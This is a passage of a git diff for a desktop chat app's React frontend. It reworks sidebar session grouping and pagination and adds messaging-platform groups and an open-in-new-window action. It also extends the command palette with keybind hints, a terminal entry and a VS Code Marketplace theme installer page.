+ // the seed fetch was capped, so assume more until a per-platform load
+ // resolves the count.
+ hasMore: known != null ? known > ordered.length : messagingTruncated,
+ label: sessionSourceLabel(sourceId) ?? sourceId,
+ sessions: ordered,
+ sourceId,
+ total
+ }
+ })
+ .sort((a, b) => sessionTime(b.sessions[0]) - sessionTime(a.sessions[0]))
+ }, [messagingSessions, messagingPlatformTotals, messagingTruncated])
+
// ALL-profiles view: one collapsible group per profile, color on the header
// (not on every row). Default profile floats to the top, the rest alpha.
const profileGroups = useMemo(() => {
@@ -610,37 +660,34 @@ export function ChatSidebar({
sessionProfileTotals
])
- const displayAgentSessions = sourceGroups.length ? localAgentSessions : agentSessions
-
- const displayAgentGroups = useMemo(() => {
- if (orderedSourceGroups.length) {
- const localGroups = agentsGrouped
- ? agentGroups
- : localAgentSessions.length
- ? [
- {
- id: 'local-sessions',
- label: 'Local',
- mode: 'workspace' as const,
- path: null,
- sessions: localAgentSessions
- }
- ]
- : []
-
- return orderByIds([...orderedSourceGroups, ...localGroups], g => g.id, workspaceOrderIds)
- }
+ const displayAgentSessions = agentSessions
- return showAllProfiles ? profileGroups : agentsGrouped ? agentGroups : undefined
- }, [
- agentGroups,
- agentsGrouped,
- localAgentSessions,
- orderedSourceGroups,
- profileGroups,
- showAllProfiles,
- workspaceOrderIds
- ])
+ // Pagination is scope-aware. In "All profiles" mode it tracks the global
+ // unified set. When scoped to one profile it must compare that profile's own
+ // loaded rows against that profile's total — otherwise a huge default profile
+ // keeps "Load more" stuck on while you browse a small one (the aggregator's
+ // total sums every profile). Per-profile totals come from the aggregator
+ // (children excluded); fall back to the global total / loaded count.
+ const loadedSessionCount = showAllProfiles ? sessions.length : visibleSessions.length
+ const scopedProfileTotal = showAllProfiles ? undefined : sessionProfileTotals[profileScope]
+
+ const knownSessionTotal = Math.max(
+ showAllProfiles ? sessionsTotal : (scopedProfileTotal ?? loadedSessionCount),
+ loadedSessionCount
+ )
+
+ const hasMoreSessions = knownSessionTotal > loadedSessionCount
+ const remainingSessionCount = Math.max(0, knownSessionTotal - loadedSessionCount)
+
+ const recentsMeta = countLabel(agentSessions.length, knownSessionTotal)
+
+ const displayAgentGroups = showAllProfiles ? profileGroups : agentsGrouped ? agentGroups : undefined
+
+ // The recents list owns its own (virtualized) scroll container only when it's a
+ // long flat list. In that case it must keep its scroller even in short mode, so
+ // we don't flatten it (flattening would defeat virtualization). Short flat lists
+ // and grouped views flatten into the single outer scroll instead.
+ const recentsVirtualizes = !displayAgentGroups?.length && displayAgentSessions.length >= VIRTUALIZE_THRESHOLD
useEffect(() => {
if (!displayAgentGroups?.length || showAllProfiles) {
@@ -661,25 +708,6 @@ export function ChatSidebar({
const showSessionSections = showSessionSkeletons || sortedSessions.length > 0
- // Pagination is scope-aware. In "All profiles" mode it tracks the global
- // unified set. When scoped to one profile it must compare that profile's own
- // loaded rows against that profile's total — otherwise a huge default profile
- // keeps "Load more" stuck on while you browse a small one (the aggregator's
- // total sums every profile). Per-profile totals come from the aggregator
- // (children excluded); fall back to the global total / loaded count.
- const loadedSessionCount = showAllProfiles ? sessions.length : visibleSessions.length
- const scopedProfileTotal = showAllProfiles ? undefined : sessionProfileTotals[profileScope]
-
- const knownSessionTotal = Math.max(
- showAllProfiles ? sessionsTotal : (scopedProfileTotal ?? loadedSessionCount),
- loadedSessionCount
- )
-
- const hasMoreSessions = knownSessionTotal > loadedSessionCount
- const remainingSessionCount = Math.max(0, knownSessionTotal - loadedSessionCount)
-
- const recentsMeta = countLabel(agentSessions.length, knownSessionTotal)
-
const handlePinnedDragEnd = ({ active, over }: DragEndEvent) => {
if (!over || active.id === over.id) {
return
@@ -769,7 +797,14 @@ export function ChatSidebar({
{contentVisible && (
<>
-
- {s.nav[item.id] ?? item.label}
-
+ {s.nav[item.id] ?? item.label}
{isNewSession && (
)}
- {contentVisible && showSessionSections && trimmedQuery && (
-
- {s.noMatch(trimmedQuery)}
-
- }
- label={s.results}
- labelMeta={String(searchResults.length)}
- onArchiveSession={onArchiveSession}
- onDeleteSession={onDeleteSession}
- onResumeSession={onResumeSession}
- onToggle={() => undefined}
- onTogglePin={pinSession}
- open
- pinned={false}
- rootClassName="min-h-0 flex-1 p-0"
- sessions={searchResults}
- workingSessionIdSet={workingSessionIdSet}
- />
- )}
+ {contentVisible && showSessionSections && (
+
+ {trimmedQuery && (
+
+ {s.noMatch(trimmedQuery)}
+
+ }
+ label={s.results}
+ labelMeta={String(searchResults.length)}
+ onArchiveSession={onArchiveSession}
+ onDeleteSession={onDeleteSession}
+ onResumeSession={onResumeSession}
+ onToggle={() => undefined}
+ onTogglePin={pinSession}
+ open
+ pinned={false}
+ rootClassName="min-h-32 flex-1 overflow-hidden p-0"
+ sessions={searchResults}
+ workingSessionIdSet={workingSessionIdSet}
+ />
+ )}
- {contentVisible && showSessionSections && !trimmedQuery && (
- }
- label={s.pinned}
- onArchiveSession={onArchiveSession}
- onDeleteSession={onDeleteSession}
- onReorder={handlePinnedDragEnd}
- onResumeSession={onResumeSession}
- onToggle={() => setSidebarPinsOpen(!pinsOpen)}
- onTogglePin={unpinSession}
- open={pinsOpen}
- pinned
- rootClassName="shrink-0 p-0 pb-1"
- sessions={pinnedSessions}
- sortable={pinnedSessions.length > 1}
- workingSessionIdSet={workingSessionIdSet}
- />
- )}
+ {!trimmedQuery && (
+ }
+ label={s.pinned}
+ onArchiveSession={onArchiveSession}
+ onDeleteSession={onDeleteSession}
+ onReorder={handlePinnedDragEnd}
+ onResumeSession={onResumeSession}
+ onToggle={() => setSidebarPinsOpen(!pinsOpen)}
+ onTogglePin={unpinSession}
+ open={pinsOpen}
+ pinned
+ rootClassName="shrink-0 p-0 pb-1"
+ sessions={pinnedSessions}
+ sortable={pinnedSessions.length > 1}
+ workingSessionIdSet={workingSessionIdSet}
+ />
+ )}
- {contentVisible && showSessionSections && !trimmedQuery && (
- : }
+ footer={
+ // Hide "load more" only when workspace-grouped (those groups page
+ // themselves). ALL-profiles now pages per-profile from each profile
+ // header; the global footer only applies to non-ALL views.
+ !showAllProfiles && !agentsGrouped && !showSessionSkeletons && hasMoreSessions ? (
+
+ ) : null
+ }
+ forceEmptyState={showSessionSkeletons}
+ groups={displayAgentGroups}
+ headerAction={
+ // Always reserve the icon-xs (size-6) slot so the header keeps the
+ // same height whether or not the toggle renders — otherwise the
+ // "Sessions" label jumps when switching to the ALL-profiles view.
+ // Grouping operates on unpinned recents; if everything is pinned
+ // the toggle does nothing, and it's irrelevant in the ALL-profiles
+ // view (always grouped by profile), so hide the button (not the slot).
+
+ {!showAllProfiles && agentSessions.length > 0 ? (
+
+ {
+ event.stopPropagation()
+ setSidebarRecentsOpen(true)
+ setSidebarAgentsGrouped(!agentsGrouped)
+ }}
+ size="icon-xs"
+ variant="ghost"
+ >
+
+
+
+ ) : null}
+
+ }
+ label={s.sessions}
+ labelMeta={recentsMeta}
+ onArchiveSession={onArchiveSession}
+ onDeleteSession={onDeleteSession}
+ onNewSessionInWorkspace={showAllProfiles ? undefined : onNewSessionInWorkspace}
+ onReorder={showAllProfiles ? undefined : handleAgentDragEnd}
+ onResumeSession={onResumeSession}
+ onToggle={() => setSidebarRecentsOpen(!agentsOpen)}
+ onTogglePin={pinSession}
+ open={agentsOpen}
+ pinned={false}
+ rootClassName={cn(
+ 'min-h-32 flex-1 overflow-hidden p-0',
+ !recentsVirtualizes && 'compact:min-h-0 compact:flex-none compact:overflow-visible'
+ )}
+ sessions={displayAgentSessions}
+ sortable={!showAllProfiles && agentSessions.length > 1}
+ workingSessionIdSet={workingSessionIdSet}
+ />
)}
- dndSensors={dndSensors}
- emptyState={showSessionSkeletons ? : }
- footer={
- // Hide "load more" only when workspace-grouped (those groups page
- // themselves). ALL-profiles now pages per-profile from each profile
- // header; the global footer only applies to non-ALL views.
- !showAllProfiles && !agentsGrouped && !showSessionSkeletons && hasMoreSessions ? (
-
- ) : null
- }
- forceEmptyState={showSessionSkeletons}
- groups={displayAgentGroups}
- headerAction={
- // Always reserve the icon-xs (size-6) slot so the header keeps the
- // same height whether or not the toggle renders — otherwise the
- // "Sessions" label jumps when switching to the ALL-profiles view.
- // Grouping operates on unpinned recents; if everything is pinned
- // the toggle does nothing, and it's irrelevant in the ALL-profiles
- // view (always grouped by profile), so hide the button (not the slot).
-
- {!showAllProfiles && localAgentSessions.length > 0 ? (
-
- {
- event.stopPropagation()
- setSidebarRecentsOpen(true)
- setSidebarAgentsGrouped(!agentsGrouped)
- }}
- size="icon-xs"
- variant="ghost"
- >
-
-
-
- ) : null}
-
- }
- label={s.sessions}
- labelMeta={recentsMeta}
- onArchiveSession={onArchiveSession}
- onDeleteSession={onDeleteSession}
- onNewSessionInWorkspace={showAllProfiles ? undefined : onNewSessionInWorkspace}
- onReorder={showAllProfiles ? undefined : handleAgentDragEnd}
- onResumeSession={onResumeSession}
- onToggle={() => setSidebarRecentsOpen(!agentsOpen)}
- onTogglePin={pinSession}
- open={agentsOpen}
- pinned={false}
- rootClassName="min-h-0 flex-1 p-0"
- sessions={displayAgentSessions}
- sortable={!showAllProfiles && agentSessions.length > 1}
- workingSessionIdSet={workingSessionIdSet}
- />
- )}
- {contentVisible && !trimmedQuery && cronJobs.length > 0 && (
- setSidebarCronOpen(!cronOpen)}
- onTriggerJob={onTriggerCronJob}
- open={cronOpen}
- />
+ {!trimmedQuery &&
+ messagingGroups.map(group => {
+ const visible = messagingVisible[group.sourceId] ?? NON_SESSION_INITIAL_ROWS
+ const shownSessions = group.sessions.slice(0, visible)
+ // More to show if rows are hidden behind the cap, or the backend
+ // still has older threads on disk.
+ const canRevealMore = visible < group.sessions.length || group.hasMore
+
+ return (
+ revealMoreMessaging(group.sourceId, group.sessions.length, group.hasMore)}
+ step={Math.min(NON_SESSION_LOAD_STEP, Math.max(0, group.total - shownSessions.length))}
+ />
+ ) : null
+ }
+ key={group.sourceId}
+ label={group.label}
+ labelIcon={
+
+ }
+ labelMeta={countLabel(group.sessions.length, group.total)}
+ onArchiveSession={onArchiveSession}
+ onDeleteSession={onDeleteSession}
+ onResumeSession={onResumeSession}
+ onToggle={() => toggleSidebarMessagingOpen(group.sourceId)}
+ onTogglePin={pinSession}
+ open={messagingOpenIds.includes(group.sourceId)}
+ pinned={false}
+ rootClassName="shrink-0 p-0"
+ sessions={shownSessions}
+ workingSessionIdSet={workingSessionIdSet}
+ />
+ )
+ })}
+
+ {!trimmedQuery && cronJobs.length > 0 && (
+ setSidebarCronOpen(!cronOpen)}
+ onTriggerJob={onTriggerCronJob}
+ open={cronOpen}
+ />
+ )}
+
)}
{contentVisible && !showSessionSections &&
}
@@ -972,9 +1061,10 @@ interface SidebarSectionHeaderProps {
onToggle: () => void
action?: React.ReactNode
meta?: React.ReactNode
+ icon?: React.ReactNode
}
-function SidebarSectionHeader({ label, open, onToggle, action, meta }: SidebarSectionHeaderProps) {
+function SidebarSectionHeader({ label, open, onToggle, action, meta, icon }: SidebarSectionHeaderProps) {
return (
+ {icon}
{label}
{meta && {meta} }
void
dndSensors?: ReturnType
@@ -1091,6 +1191,7 @@ function SidebarSessionsSection({
footer,
groups,
labelMeta,
+ labelIcon,
sortable = false,
onReorder,
dndSensors
@@ -1181,6 +1282,7 @@ function SidebarSessionsSection({
inner = (
-
+
{open && (
{body}
@@ -1398,30 +1507,3 @@ interface SortableSessionRowProps {
function SortableSidebarSessionRow(props: SortableSessionRowProps) {
return
}
-
-interface SidebarLoadMoreRowProps {
- loading: boolean
- onClick: () => void
- step: number
-}
-
-function SidebarLoadMoreRow({ loading, onClick, step }: SidebarLoadMoreRowProps) {
- const { t } = useI18n()
- const label = loading ? t.sidebar.loading : step > 0 ? t.sidebar.loadCount(step) : t.sidebar.loadMore
-
- return (
-
- {/* Seat the icon in the same w-3.5 column session rows use for their dot
- so the chevron + label line up with the rows above. */}
-
-
-
- {label}
-
- )
-}
diff --git a/apps/desktop/src/app/chat/sidebar/load-more-row.tsx b/apps/desktop/src/app/chat/sidebar/load-more-row.tsx
new file mode 100644
index 000000000000..1229201be7cd
--- /dev/null
+++ b/apps/desktop/src/app/chat/sidebar/load-more-row.tsx
@@ -0,0 +1,30 @@
+import { Codicon } from '@/components/ui/codicon'
+import { useI18n } from '@/i18n'
+
+interface SidebarLoadMoreRowProps {
+ step: number
+ onClick: () => void
+ loading?: boolean
+}
+
+// "Load N more" affordance shared by the recents, messaging, and cron sections.
+// The chevron sits in the same w-3.5 column the rows use for their dot, so it
+// lines up with the list above.
+export function SidebarLoadMoreRow({ step, onClick, loading = false }: SidebarLoadMoreRowProps) {
+ const { t } = useI18n()
+ const label = loading ? t.sidebar.loading : step > 0 ? t.sidebar.loadCount(step) : t.sidebar.loadMore
+
+ return (
+
+
+
+
+ {label}
+
+ )
+}
diff --git a/apps/desktop/src/app/chat/sidebar/profile-switcher.tsx b/apps/desktop/src/app/chat/sidebar/profile-switcher.tsx
index 3c183aaa4e79..e3b1e3075fc9 100644
--- a/apps/desktop/src/app/chat/sidebar/profile-switcher.tsx
+++ b/apps/desktop/src/app/chat/sidebar/profile-switcher.tsx
@@ -83,8 +83,9 @@ const stepThroughCells: Modifier = ({ containerNodeRect, draggingNodeRect, trans
// Arc-Spaces-style profile rail at the sidebar foot: a default↔all toggle pinned
// left, the colored named profiles scrolling between, and Manage pinned right.
// The active profile pops in its own color — the "where am I" cue. Single-
-// profile users see only the "+" (create their first profile); everything else
-// appears once a second profile exists.
+// profile users see the "+" (create their first profile) and the Manage
+// overflow (edit the default profile's SOUL.md); the colored named squares
+// and the default↔all toggle only appear once a second profile exists.
export function ProfileRail() {
const { t } = useI18n()
const p = t.profiles
@@ -268,9 +269,11 @@ export function ProfileRail() {
- {multiProfile && (
-
navigate(PROFILES_ROUTE)} />
- )}
+ {/* Always reachable, even with only the default profile: the manage
+ overlay is the only place to edit a profile's SOUL.md, and a
+ single-profile user must be able to edit the default's persona
+ without first creating a throwaway second profile. */}
+ navigate(PROFILES_ROUTE)} />
{/* Land in the new profile on a fresh chat (selectProfile triggers the
new-session reset), not stuck on the session you were just in. */}
diff --git a/apps/desktop/src/app/chat/sidebar/session-actions-menu.tsx b/apps/desktop/src/app/chat/sidebar/session-actions-menu.tsx
index 7bd9471a91d6..3d51ab8f8bb3 100644
--- a/apps/desktop/src/app/chat/sidebar/session-actions-menu.tsx
+++ b/apps/desktop/src/app/chat/sidebar/session-actions-menu.tsx
@@ -21,6 +21,7 @@ import { triggerHaptic } from '@/lib/haptics'
import { exportSession } from '@/lib/session-export'
import { notify, notifyError } from '@/store/notifications'
import { setSessions } from '@/store/session'
+import { canOpenSessionWindow, openSessionInNewWindow } from '@/store/windows'
interface SessionActions {
sessionId: string
@@ -68,13 +69,26 @@ function useSessionActions({ sessionId, title, pinned = false, profile, onPin, o
void writeClipboardText(sessionId).catch(err => notifyError(err, r.copyIdFailed))
}
},
+ ...(canOpenSessionWindow()
+ ? [
+ {
+ disabled: !sessionId,
+ icon: 'link-external',
+ label: r.newWindow,
+ onSelect: () => {
+ triggerHaptic('selection')
+ void openSessionInNewWindow(sessionId)
+ }
+ }
+ ]
+ : []),
{
disabled: !sessionId,
icon: 'cloud-download',
label: r.export,
onSelect: () => {
triggerHaptic('selection')
- void exportSession(sessionId, { title })
+ void exportSession(sessionId, { profile, title })
}
},
{
diff --git a/apps/desktop/src/app/chat/sidebar/session-row.tsx b/apps/desktop/src/app/chat/sidebar/session-row.tsx
index 15afc1854007..cd21a63a6f91 100644
--- a/apps/desktop/src/app/chat/sidebar/session-row.tsx
+++ b/apps/desktop/src/app/chat/sidebar/session-row.tsx
@@ -2,14 +2,18 @@ import { useStore } from '@nanostores/react'
import type * as React from 'react'
import { writeSessionDrag } from '@/app/chat/composer/inline-refs'
+import { PlatformAvatar } from '@/app/messaging/platform-icon'
import { Button } from '@/components/ui/button'
import { Codicon } from '@/components/ui/codicon'
+import { Tip } from '@/components/ui/tooltip'
import type { SessionInfo } from '@/hermes'
import { type Translations, useI18n } from '@/i18n'
import { sessionTitle } from '@/lib/chat-runtime'
import { triggerHaptic } from '@/lib/haptics'
+import { handoffOriginSource, sessionSourceLabel } from '@/lib/session-source'
import { cn } from '@/lib/utils'
import { $attentionSessionIds } from '@/store/session'
+import { canOpenSessionWindow, openSessionInNewWindow } from '@/store/windows'
import { SessionActionsMenu, SessionContextMenu } from './session-actions-menu'
@@ -67,6 +71,11 @@ export function SidebarSessionRow({
const title = sessionTitle(session)
const age = formatAge(session.last_active || session.started_at, r)
const handleLabel = `Reorder ${title}`
+ // A handed-off session's live source is local, but it originated on a
+ // messaging platform — surface that origin as a small badge so e.g. a
+ // Telegram thread continued here still reads as Telegram.
+ const handoffSource = handoffOriginSource(session.handoff_state, session.handoff_platform)
+ const handoffLabel = handoffSource ? sessionSourceLabel(handoffSource) ?? handoffSource : null
// Subscribe per-row (the leaf) instead of drilling a set through the list —
// the atom is tiny and rarely non-empty. True when a clarify prompt in this
// session is waiting on the user.
@@ -124,11 +133,15 @@ export function SidebarSessionRow({
return
}
- if (event.metaKey || event.ctrlKey) {
+ // ⌘-click (mac) / ⌃-click (win/linux) pops the chat into its own
+ // window — the universal "open in a new window" gesture. Archive
+ // lives in the row's ⋯ and right-click menus. Falls through to a
+ // normal resume when standalone windows aren't available (web embed).
+ if ((event.metaKey || event.ctrlKey) && canOpenSessionWindow()) {
event.preventDefault()
event.stopPropagation()
triggerHaptic('selection')
- onArchive()
+ void openSessionInNewWindow(session.id)
return
}
@@ -179,6 +192,15 @@ export function SidebarSessionRow({
)}
+ {handoffSource && handoffLabel ? (
+
+
+
+ ) : null}
{title}
diff --git a/apps/desktop/src/app/command-palette/index.tsx b/apps/desktop/src/app/command-palette/index.tsx
index 35a246ff330b..2e3a45d771ea 100644
--- a/apps/desktop/src/app/command-palette/index.tsx
+++ b/apps/desktop/src/app/command-palette/index.tsx
@@ -4,19 +4,22 @@ import { Dialog as DialogPrimitive } from 'radix-ui'
import { useCallback, useEffect, useMemo, useState } from 'react'
import { useNavigate } from 'react-router-dom'
+import { HUD_HEADING, HUD_ITEM, HUD_POSITION, HUD_SURFACE, HUD_TEXT } from '@/app/floating-hud'
+import { setTerminalTakeover } from '@/app/right-sidebar/store'
import { Command, CommandEmpty, CommandGroup, CommandInput, CommandItem, CommandList } from '@/components/ui/command'
-import { getHermesConfigRecord, listSessions } from '@/hermes'
+import { KbdGroup } from '@/components/ui/kbd'
+import { getHermesConfigRecord, listAllProfileSessions } from '@/hermes'
import { useI18n } from '@/i18n'
import { sessionTitle } from '@/lib/chat-runtime'
import {
Activity,
Archive,
BarChart3,
- Check,
ChevronLeft,
ChevronRight,
Clock,
Cpu,
+ Download,
Globe,
type IconComponent,
Info,
@@ -30,13 +33,18 @@ import {
Settings,
Settings2,
Sun,
+ Terminal,
Users,
Wrench,
Zap
} from '@/lib/icons'
+import { comboTokens } from '@/lib/keybinds/combo'
import { cn } from '@/lib/utils'
import { $commandPaletteOpen, closeCommandPalette, setCommandPaletteOpen } from '@/store/command-palette'
+import { $bindings } from '@/store/keybinds'
+import { luminance } from '@/themes/color'
import { type ThemeMode, useTheme } from '@/themes/context'
+import { isUserTheme, resolveTheme } from '@/themes/user-themes'
import {
AGENTS_ROUTE,
@@ -54,8 +62,11 @@ import { FIELD_LABELS, SECTIONS } from '../settings/constants'
import { fieldCopyForSchemaKey } from '../settings/field-copy'
import { prettyName } from '../settings/helpers'
+import { MarketplaceThemePage } from './marketplace-theme-page'
+
interface PaletteItem {
- active?: boolean
+ /** Keybind action id — its live combo renders as a hotkey hint. */
+ action?: string
icon: IconComponent
id: string
/** Keep the palette open after running (live-preview pickers like theme/mode). */
@@ -69,10 +80,16 @@ interface PaletteItem {
}
interface PaletteGroup {
- heading: string
+ /** Optional: a headingless group renders as a bare action row (e.g. the
+ * "Install theme…" entry pinned atop the theme picker). */
+ heading?: string
items: PaletteItem[]
}
+// Nested page → its parent, so Back / Esc step up one level instead of closing
+// the palette. Pages absent here go straight back to the root list.
+const PAGE_PARENTS: Record = { 'install-theme': 'theme' }
+
/** A nested page reachable from a root item via `to`. */
interface PalettePage {
groups: PaletteGroup[]
@@ -86,7 +103,23 @@ interface SessionEntry {
title: string
}
-type SessionRow = Awaited>['sessions'][number]
+// cmdk defaults to fuzzy subsequence scoring, so "color" matches anything with
+// c…o…l…o…r scattered across it. Use case-insensitive multi-term substring
+// matching instead: every typed word must literally appear in the item's
+// value/keywords, which keeps results tight and predictable.
+const paletteFilter = (value: string, search: string, keywords?: string[]): number => {
+ const needle = search.trim().toLowerCase()
+
+ if (!needle) {
+ return 1
+ }
+
+ const haystack = `${value} ${keywords?.join(' ') ?? ''}`.toLowerCase()
+
+ return needle.split(/\s+/).every(term => haystack.includes(term)) ? 1 : 0
+}
+
+type SessionRow = Awaited>['sessions'][number]
const toSessionEntry = (session: SessionRow): SessionEntry => ({
id: session.id,
@@ -146,11 +179,32 @@ const THEME_MODES: ReadonlyArray<{ icon: IconComponent; mode: ThemeMode }> = [
{ icon: Monitor, mode: 'system' }
]
+// Which Light/Dark groups a theme belongs in. Built-ins render in both modes
+// (the engine synthesises the missing side). Imported VS Code themes only carry
+// the variant(s) the extension shipped — a single dark theme like Dracula lives
+// under Dark only, while a GitHub/Solarized family (light + dark) lives in both.
+function themeSupportsMode(name: string, target: 'light' | 'dark'): boolean {
+ if (!isUserTheme(name)) {
+ return true
+ }
+
+ const resolved = resolveTheme(name)
+
+ if (!resolved) {
+ return true
+ }
+
+ const background = target === 'dark' ? (resolved.darkColors ?? resolved.colors).background : resolved.colors.background
+
+ return target === 'dark' ? luminance(background) <= 0.5 : luminance(background) > 0.5
+}
+
export function CommandPalette() {
const { t } = useI18n()
const open = useStore($commandPaletteOpen)
+ const bindings = useStore($bindings)
const navigate = useNavigate()
- const { availableThemes, mode, resolvedMode, setMode, setTheme, themeName } = useTheme()
+ const { availableThemes, resolvedMode, setMode, setTheme, themeName } = useTheme()
const [search, setSearch] = useState('')
const [page, setPage] = useState(null)
@@ -164,13 +218,13 @@ export function CommandPalette() {
const sessionsQuery = useQuery({
queryKey: ['command-palette', 'sessions'],
- queryFn: () => listSessions(200, 1, 'exclude'),
+ queryFn: () => listAllProfileSessions(200, 1, 'exclude'),
enabled: open
})
const archivedQuery = useQuery({
queryKey: ['command-palette', 'archived'],
- queryFn: () => listSessions(200, 0, 'only'),
+ queryFn: () => listAllProfileSessions(200, 0, 'only'),
enabled: open
})
@@ -194,10 +248,19 @@ export function CommandPalette() {
}, [open])
const go = useCallback((path: string) => () => navigate(path), [navigate])
+
+ // Step up one nested page (or back to the root list), clearing the filter so
+ // the parent page doesn't reopen mid-search.
+ const goBack = useCallback(() => {
+ setSearch('')
+ setPage(prev => (prev ? (PAGE_PARENTS[prev] ?? null) : null))
+ }, [])
+
const settingsSectionLabel = useCallback(
(section: (typeof SECTIONS)[number]) => t.settings.sections[section.id] ?? section.label,
[t.settings.sections]
)
+
const configFieldLabel = useCallback(
(key: string) =>
fieldCopyForSchemaKey(t.settings.fieldLabels, key) ??
@@ -214,20 +277,61 @@ export function CommandPalette() {
{
heading: cc.goTo,
items: [
- { icon: Plus, id: 'nav-new', keywords: ['chat', 'create'], label: cc.nav.newChat.title, run: go(NEW_CHAT_ROUTE) },
- { icon: Settings, id: 'nav-settings', label: cc.nav.settings.title, run: go(SETTINGS_ROUTE) },
{
+ action: 'session.new',
+ icon: Plus,
+ id: 'nav-new',
+ keywords: ['chat', 'create'],
+ label: cc.nav.newChat.title,
+ run: go(NEW_CHAT_ROUTE)
+ },
+ {
+ action: 'view.showTerminal',
+ icon: Terminal,
+ id: 'nav-terminal',
+ keywords: ['terminal', 'shell', 'console'],
+ label: t.keybinds.actions['view.showTerminal'],
+ run: () => setTerminalTakeover(true)
+ },
+ {
+ action: 'nav.settings',
+ icon: Settings,
+ id: 'nav-settings',
+ label: cc.nav.settings.title,
+ run: go(SETTINGS_ROUTE)
+ },
+ {
+ action: 'nav.skills',
icon: Wrench,
id: 'nav-skills',
keywords: ['tools', 'toolsets'],
label: cc.nav.skills.title,
run: go(SKILLS_ROUTE)
},
- { icon: MessageCircle, id: 'nav-messaging', label: cc.nav.messaging.title, run: go(MESSAGING_ROUTE) },
- { icon: Package, id: 'nav-artifacts', label: cc.nav.artifacts.title, run: go(ARTIFACTS_ROUTE) },
- { icon: Clock, id: 'nav-cron', keywords: ['schedule', 'jobs'], label: t.shell.statusbar.cron, run: go(CRON_ROUTE) },
- { icon: Users, id: 'nav-profiles', label: t.profiles.title, run: go(PROFILES_ROUTE) },
- { icon: Cpu, id: 'nav-agents', label: t.agents.title, run: go(AGENTS_ROUTE) }
+ {
+ action: 'nav.messaging',
+ icon: MessageCircle,
+ id: 'nav-messaging',
+ label: cc.nav.messaging.title,
+ run: go(MESSAGING_ROUTE)
+ },
+ {
+ action: 'nav.artifacts',
+ icon: Package,
+ id: 'nav-artifacts',
+ label: cc.nav.artifacts.title,
+ run: go(ARTIFACTS_ROUTE)
+ },
+ {
+ action: 'nav.cron',
+ icon: Clock,
+ id: 'nav-cron',
+ keywords: ['schedule', 'jobs'],
+ label: t.shell.statusbar.cron,
+ run: go(CRON_ROUTE)
+ },
+ { action: 'nav.profiles', icon: Users, id: 'nav-profiles', label: t.profiles.title, run: go(PROFILES_ROUTE) },
+ { action: 'nav.agents', icon: Cpu, id: 'nav-agents', label: t.agents.title, run: go(AGENTS_ROUTE) }
]
},
{
@@ -373,24 +477,40 @@ export function CommandPalette() {
theme: {
title: t.settings.appearance.themeTitle,
placeholder: t.settings.appearance.themeDesc,
- // Skins aren't inherently light/dark — the same skin renders in either
- // mode. Group by appearance so picking an entry sets skin + mode at
- // once, and keep the palette open so each pick previews live.
- groups: (['light', 'dark'] as const).map(groupMode => ({
- heading: groupMode === 'light' ? t.settings.modeOptions.light.label : t.settings.modeOptions.dark.label,
- items: availableThemes.map(theme => ({
- active: themeName === theme.name && resolvedMode === groupMode,
- icon: groupMode === 'light' ? Sun : Moon,
- id: `theme-${theme.name}-${groupMode}`,
- keepOpen: true,
- keywords: ['theme', 'appearance', 'palette', groupMode, theme.label, theme.description ?? ''],
- label: theme.label,
- run: () => {
- setTheme(theme.name)
- setMode(groupMode)
- }
+ groups: [
+ // Pinned at the top: drills into the Marketplace browser.
+ {
+ items: [
+ {
+ icon: Download,
+ id: 'theme-install',
+ keywords: ['install', 'marketplace', 'vscode', 'vs code', 'download', 'new', 'color'],
+ label: t.commandCenter.installTheme.title,
+ to: 'install-theme'
+ }
+ ]
+ },
+ // Built-ins and imported families list under the mode(s) they support;
+ // picking sets skin + mode at once. A multi-variant import (GitHub,
+ // Solarized) appears in both groups and switches variants with the mode.
+ ...(['light', 'dark'] as const).map(groupMode => ({
+ heading: groupMode === 'light' ? t.settings.modeOptions.light.label : t.settings.modeOptions.dark.label,
+ items: availableThemes
+ .filter(theme => themeSupportsMode(theme.name, groupMode))
+ .map(theme => ({
+ active: themeName === theme.name && resolvedMode === groupMode,
+ icon: groupMode === 'light' ? Sun : Moon,
+ id: `theme-${theme.name}-${groupMode}`,
+ keepOpen: true,
+ keywords: ['theme', 'appearance', 'palette', groupMode, theme.label, theme.description ?? ''],
+ label: theme.label,
+ run: () => {
+ setTheme(theme.name)
+ setMode(groupMode)
+ }
+ }))
}))
- }))
+ ]
},
'color-mode': {
title: t.settings.appearance.colorMode,
@@ -399,7 +519,6 @@ export function CommandPalette() {
{
heading: t.settings.appearance.colorMode,
items: THEME_MODES.map(entry => ({
- active: mode === entry.mode,
icon: entry.icon,
id: `mode-${entry.mode}`,
keepOpen: true,
@@ -409,9 +528,16 @@ export function CommandPalette() {
}))
}
]
+ },
+ // Server-driven page: items come from the Marketplace, rendered by
+ // (loader + live search + per-row install).
+ 'install-theme': {
+ title: t.commandCenter.installTheme.title,
+ placeholder: t.commandCenter.installTheme.placeholder,
+ groups: []
}
}),
- [availableThemes, mode, resolvedMode, setMode, setTheme, t, themeName]
+ [availableThemes, resolvedMode, setMode, setTheme, t, themeName]
)
const activePage = page ? subPages[page] : null
@@ -436,17 +562,22 @@ export function CommandPalette() {
return (
-
+ {/* Transparent overlay: keeps click-away + focus trap, but no dim/blur. */}
+
{t.commandCenter.paletteTitle}
-
+
{activePage && (
setPage(null)}
+ onClick={goBack}
type="button"
>
@@ -456,6 +587,7 @@ export function CommandPalette() {
)}
{
if (!activePage) {
return
@@ -466,38 +598,45 @@ export function CommandPalette() {
if (event.key === 'Escape' || (event.key === 'Backspace' && search === '')) {
event.preventDefault()
event.stopPropagation()
- setPage(null)
+ goBack()
}
}}
onValueChange={setSearch}
placeholder={placeholder}
value={search}
/>
-
- {t.commandCenter.noResults}
- {visibleGroups.map(group => (
+
+ {page === 'install-theme' ? (
+
+ ) : (
+ {t.commandCenter.noResults}
+ )}
+ {visibleGroups.map((group, index) => (
{group.items.map(item => {
const Icon = item.icon
+ const combo = item.action ? bindings[item.action]?.[0] : undefined
+ const keys = combo ? comboTokens(combo) : null
return (
handleSelect(item)}
value={`${item.label} ${item.keywords?.join(' ') ?? ''} ${item.id}`}
>
-
+
{item.label}
- {item.to ? (
-
- ) : (
-
+ {keys && }
+ {item.to && (
+
)}
)
diff --git a/apps/desktop/src/app/command-palette/marketplace-theme-page.tsx b/apps/desktop/src/app/command-palette/marketplace-theme-page.tsx
new file mode 100644
index 000000000000..eb175fdcb720
--- /dev/null
+++ b/apps/desktop/src/app/command-palette/marketplace-theme-page.tsx
@@ -0,0 +1,157 @@
+/**
+ * Cmd-K "Install theme…" page.
+ *
+ * Browses the VS Code Marketplace for color themes: an empty query shows the
+ * most-installed themes, typing runs a live (debounced) search against the
+ * Marketplace. Selecting a row downloads + converts + installs it via the same
